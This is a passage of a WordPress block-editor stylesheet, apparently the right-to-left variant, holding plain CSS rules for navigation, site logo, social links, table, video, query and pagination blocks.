  float:left;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:2px;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview:before:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:right;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-left:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-right:4px;
  padding:0 0 0 6px;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-left:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-left:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:160px;
  }
}

@media (min-width:782px){
  .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:141px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{
  left:280px;
}

.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  right:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
  .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:109px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-right:24px;
}
.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px 16px 16px auto;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:var(--wp-admin-theme-color);
  background-image:linear-gradient(-45deg, #0000 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, #0000 46%), linear-gradient(-135deg, #0000 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, #0000 80%);
  background-position:100% 100%;
  background-repeat:repeat-x;
  background-size:6px 3px;
  padding-bottom:.1em;
}
.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:#fff;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}

.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  right:-1px;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
}

.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}

.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}

.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
}

.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form>*{
  margin-bottom:8px;
}
@media (min-width:782px){
  .wp-block-rss__placeholder-form>*{
    margin-bottom:0;
  }
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1;
  min-width:80%;
}

.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search .wp-block-search__button{
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}
.wp-block-search__components-button-group{
  margin-top:10px;
}

.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}
.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
}

[data-type="core/shortcode"].components-placeholder{
  min-height:0;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo .custom-logo-link.is-transient img{
  opacity:.3;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-upload-container{
  position:relative;
}
.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{
  display:none;
}

.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}

.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.editor-styles-wrapper .wp-block-site-title a{
  color:inherit;
}

.wp-block-social-links .wp-social-link{
  line-height:0;
}
.wp-block-social-links .wp-social-link button{
  color:currentColor;
  font-size:inherit;
  height:auto;
  line-height:0;
  opacity:1;
  padding:.25em;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link button{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links.is-style-logos-only .wp-social-link button{
  padding:0;
}

.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-right:8px;
}
.wp-block-social-links.wp-block-social-links{
  background:none;
}

.wp-social-link:hover{
  transform:none;
}

.editor-styles-wrapper .wp-block-social-links{
  padding:0;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link{
  padding:.25em;
}
.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{
  padding-left:.66667em;
  padding-right:.66667em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{
  padding:0;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  order:2;
  padding-left:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}
@media (prefers-reduced-motion:reduce){
  .wp-social-link.wp-social-link__is-incomplete{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}

.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}

.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}

.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}

.wp-block-video.wp-block-video.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-video.wp-block-video.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{
  transition:none;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.editor-video-poster-control .components-base-control__label{
  display:block;
}
.editor-video-poster-control .components-button{
  margin-left:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-right:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  padding:0;
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{
  padding:12px;
}

.editor-styles-wrapper ul.wp-block-post-template{
  list-style:none;
  margin-right:0;
  padding-right:0;
}

.block-library-query-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-query__create-new-link{
  padding:0 52px 16px 16px;
}

.block-library-query__pattern-selection-content .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr 1fr;
  grid-gap:8px;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  max-height:250px;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:2px;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.block-library-query-toolspanel__filters .components-form-token-field__help{
  margin-bottom:0;
}
.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){
  margin-bottom:24px;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.wp-block-query__enhanced-pagination-notice{
  margin:0;
}

.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-query-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
